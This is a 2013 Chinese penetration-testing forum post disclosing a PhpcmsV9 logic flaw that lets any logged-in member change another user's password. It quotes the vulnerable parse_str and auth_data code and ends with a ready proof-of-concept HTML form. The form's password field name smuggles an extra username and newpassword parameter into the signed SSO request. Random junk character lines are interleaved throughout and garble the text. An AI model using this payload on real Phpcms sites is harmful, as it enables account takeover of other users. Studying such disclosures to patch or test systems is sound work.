中国网络渗透测试联盟
标题:
PhpcmsV9 任意用户密码修改逻辑漏洞 2013年贺岁第三发
[打印本页]
作者:
admin
时间:
2013-2-23 14:46
标题:
PhpcmsV9 任意用户密码修改逻辑漏洞 2013年贺岁第三发
提到的通行证的代码:
0 ~. c' W/ K6 F& G8 e& S" N6 v
2 T0 M% a! R- Z
# i/ `& E' F/ u; M" v
parse_str(sys_auth($_POST['data'], 'DECODE', $this->applist[$this->appid]['authkey']), $this->data);
: z r3 {* @( j, H" `
7 k! n0 S: Z$ A `
在phpsso_server/phpcms/modules/phpsso/classes/phpsso.class.php中。
& G5 @8 Z8 g+ t! s; Q# L4 X
7 v/ i8 ^: E+ S" R! t) x
我把它留给了你们。
. g! X* w) _4 }, w
不知道你们发现了它没有。
8 c6 Q8 [& h5 g5 @ N8 Z7 \6 d( n7 b
9 w X% \( c* c% f$ ^% ]; B
我们知道parse_str类似将http请求转换成php变量的函数,所以,也像http请求在php的环境下一样,如果提交?a=sss&a=aaa,那么a的结果会是aaa,不是sss。
* }' v8 J+ p; w1 M! [, X$ Z
; h: S, k4 K7 E6 Z$ j
所以我们知道这个函数有一个问题了,如果后面提交一个内容,它会覆盖前面的。
# d7 J, a) L( U! W" k8 O, }
( ? A; `# l! ]; ^
也就是
6 f# C$ g- Q% K! o& I) C
) ~& S, \+ T( Y; c
username=zhangsan&username=lisi的话,那么用户名就不是zhangsan了。
* `9 l) Z! p, N/ S- `& H
! t& z3 _! U/ n+ A6 v0 X7 r( e
要构造这样的请求,我们还是要回到通行证的client看看,我们有没有这样的机会。
l1 |. k$ E; V a4 l8 `
' D2 P. d! @% z7 L7 t6 P
0 s$ P7 ^9 y- ^( e5 W- D/ N" k; v
其实我们有这样的机会,看看代码,如下:
& H/ W: b' G+ ^: {9 b9 z
/ F% Y0 b+ `: @5 t# U4 \
" T/ `( e3 s& t4 ^2 G+ a. o+ a
public function auth_data($data) {
2 r( m c6 J7 s$ E" B
$s = $sep = '';
5 ~% N/ F m' l
foreach($data as $k => $v) {
% F" U/ M! G* R+ E9 o
if(is_array($v)) {
9 m: Y) q% a1 ~- }3 ]2 L
$s2 = $sep2 = '';
( A" V* }# [1 t* e9 k) C2 @
foreach($v as $k2 => $v2) {
" g8 K9 b% m# R) s- v1 m
$s2 .= "$sep2{$k}[$k2]=".$this->_ps_stripslashes($v2);
* w1 J9 @# ^% |" I! }& y" [
$sep2 = '&';
( ^: I* Z1 s L. O6 L
}
4 ^' E8 M( g9 f; n! f! x+ u
$s .= $sep.$s2;
1 Y" B* @( O; @
} else {
5 I$ }4 @! d6 N& c6 \
$s .= "$sep$k=".$this->_ps_stripslashes($v);
' F% s8 x$ y2 h, Q# E
}
8 F6 o3 b0 v) U* x" X7 z+ K! q) D
$sep = '&';
* s& l8 B0 L2 e; q/ s
}
6 D$ H2 N7 ]) X( Y4 B3 S8 n
* \$ W* C" Y. Y* U4 X
$auth_s = 'v='.$this->ps_vsersion.'&appid='.APPID.'&data='.urlencode($this->sys_auth($s));
3 \8 N/ ^- T. o4 _- r
return $auth_s;
4 N8 z! g# N4 V" A% k
}
( O& u: h% T. M5 B; R+ X; j6 c
/ w. q) H( J2 W7 Q& U* o5 T
可能我没说明白,对,传递进来的数组的key是可控的。如果我的key里包含[]&这样三个字符的话,那么我就能重写这样的东西。
( ^0 ~: v; V0 m" Y* k
$ R- F3 p0 y( ^: C& p3 Z
举个例子
& c m4 |- i7 h; |( c" c
8 Q i* Y, h3 m; y( F- [
$a[aaa=a&bbb] = 'a';
* |) a" o, U' b3 N5 J
& O- O* j! g! V& ~( R6 C( @
会变成aaa=a&bbb=a
3 S+ ^/ K* _- _" D
' y9 p _* {- ^! X
明白了么,对,就是通过没有注意到的key,我们可以构造出多余的参数来。
- g# i" }. A' M3 x- [! W/ E# y- T
4 ^# D* Y g- p' l @5 E% O
这个时候,我们可以再去看一个函数。
4 d- Y& A* w# R- m. A {
1 }7 p# u# @; m j
就在这个文件内:
8 ^% Y+ ?' i8 T3 `! j `5 C
0 S5 [0 H2 A5 z7 r
, `$ j" T' J# x! K" R i5 T
public function ps_member_edit($username, $email, $password='', $newpassword='', $uid='', $random='') {
: E. w' o( B t0 s! p$ g
if($email && !$this->_is_email($email)) {
8 R: U! h) J0 P) d0 S/ D- k
return -4;
. V' T* J/ \2 c1 [+ _
}
' |; u4 t7 E: X# @' N9 ]+ j
return $this->_ps_send('edit', array('username'=>$username, 'password'=>$password, 'newpassword'=>$newpassword, 'email'=>$email, 'uid'=>$uid, 'random'=>$random));
0 D/ s2 C1 B/ ]# ?& T/ N
}
/ P: E' I; N1 K, v
" K* c: E" j v% M) f# l, R
这是向通行证发了这样一个请求。
; h4 B7 A6 N( s7 m, Q. A2 E
" H, h# [+ u! o4 u$ G
我们再跟到通信证代码里去看看,就会有所发现。
6 p3 C u6 C$ U* [8 Y; D
4 @" g/ A v: B0 \
' F9 Z. y2 C: U; ?9 z* G. }
public function edit() {
- { j7 B$ R+ Y+ e% G/ |7 ?! ?
//能省就省,太长了不是吗?
+ x, }" F; m0 A8 J
( T$ U1 N- o& m; A4 Q% W
if($this->username) {
]5 J: @1 g9 E. a2 l9 W
//如果提交了用户名,则按照用户名修改记录,反之,按照uid来修改记录。
5 l. w1 ?4 n0 m8 \& d$ K- o! v
$res = $this->db->update($data, array('username'=>$this->username));
$ [# Q+ l: x: c, o7 C$ i8 M
} else {
6 j$ v& E1 Q, W
file_put_contents('typeb.txt',print_r($data,1).$this->uid);
6 S% y- s- { R) v* K. C
$res = $this->db->update($data, array('uid'=>$this->uid));
, x9 D% Q: g% P- q! R! }, f b, n
}
/ ~, q; S$ ]% _7 y" V
' B7 P. |) \. O0 h+ h* ^
好,我们知道了,如果提交了用户名,就会按照用户名来修改记录,不然就按照uid,我们看看函数结构:
. k/ }* t/ S& u W' _
) s1 Q d1 \; V
public function ps_member_edit($username, $email, $password='', $newpassword='', $uid='', $random='')
- u j$ }9 k. B7 L8 T+ E
) A- G9 y6 V" q" G
很好,uid要是无法控制的话,后面只剩下一个random了,但是username就在第一个,只要email,password,newpassword,有任何一个可以控制,就可以修改密码了。
& b# a4 T0 T# h- W5 }1 N' a. g
8 ?! m) N2 G' m) {% ]4 P, d
我当然找到了:
3 B# u i7 p% V
phpcms9/phpcms/modules/member/index.php
3 T' A7 @$ E6 E5 U$ q, D$ j/ G
1 k3 W% @9 @9 T1 Q1 a& B/ _. f& c
$res = $this->client->ps_member_edit('', $email, $_POST['info']['password'], $_POST['info']['newpassword'], $this->memberinfo['phpssouid'], $this->memberinfo['encrypt']);
A" i- h4 W' m& M
3 M' \- ]' b" @" [/ h9 G! a
然后就没有然后了。
) E# m' u2 I/ F! o7 e( b
" a. Y3 P* r3 e1 h1 s+ |
<form method="post" action="http://localhost/phpcms9/index.php?m=member&c=index&a=account_manage_password&t=1" id="myform" name="myform">
# K% y2 O: o- Z$ j4 @
<table width="100%" cellspacing="0" class="table_form">
% W5 i, p! N) D5 y
<tr>
8 U8 y+ w K+ g2 V1 G1 n
<th width="80">邮箱:</th>
9 ~3 o) I4 \& H. X$ R; k& h
<td><input name="info[email]" type="text" id="email" size="30" value="jj@jj.com" class="input-text"></td>
, G1 U, W: j# X* u2 x
</tr>
4 j/ S* ]# m6 y. K9 ]5 f3 I7 A$ f
<tr>
. w- N5 N9 a2 E G6 d% L2 c
<th width="80">原密码:</th>
+ q k( h' D3 ~1 \1 l& S9 Z
<td><input name="info[password]" type="password" id="password" size="30" value="111111" class="input-text"></td>
: B2 b" j$ X. w7 j
</tr>
: b9 [" Y, V% P/ g# z5 L% t
<tr>
2 C8 ^' H& E4 A! h$ q
<th>新密码:</th>
6 }6 M+ T* F. s
<td><input name="info[newpassword][%5D=aaa%5D%5B&username=cc&newpassword=aaaaaa&]" type="password" id="newpassword" size="30" value="" class="input-text"></td>
/ _$ M J# n$ N: k; N& M
</tr>
/ q; d9 z7 G6 r. Y
<th></th>
2 G( O; \/ \3 l9 \/ c- x5 K! d
<td><input name="dosubmit" type="submit" id="dosubmit" value="提交" class="button"></td>
' b5 y3 q- L* c2 w b
</tr>
; F3 l5 g# c F& T+ O9 _) {5 t
</table>
, A" c% Z1 g$ l9 Z0 J! P, e( y1 g
$ q9 i( T1 h4 I1 J1 e5 R1 w1 X2 j1 A
; u9 |3 x" q/ T- b3 c5 M1 u
</form>
- f- c ]! s4 x f( {; i0 L
欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/)
Powered by Discuz! X3.2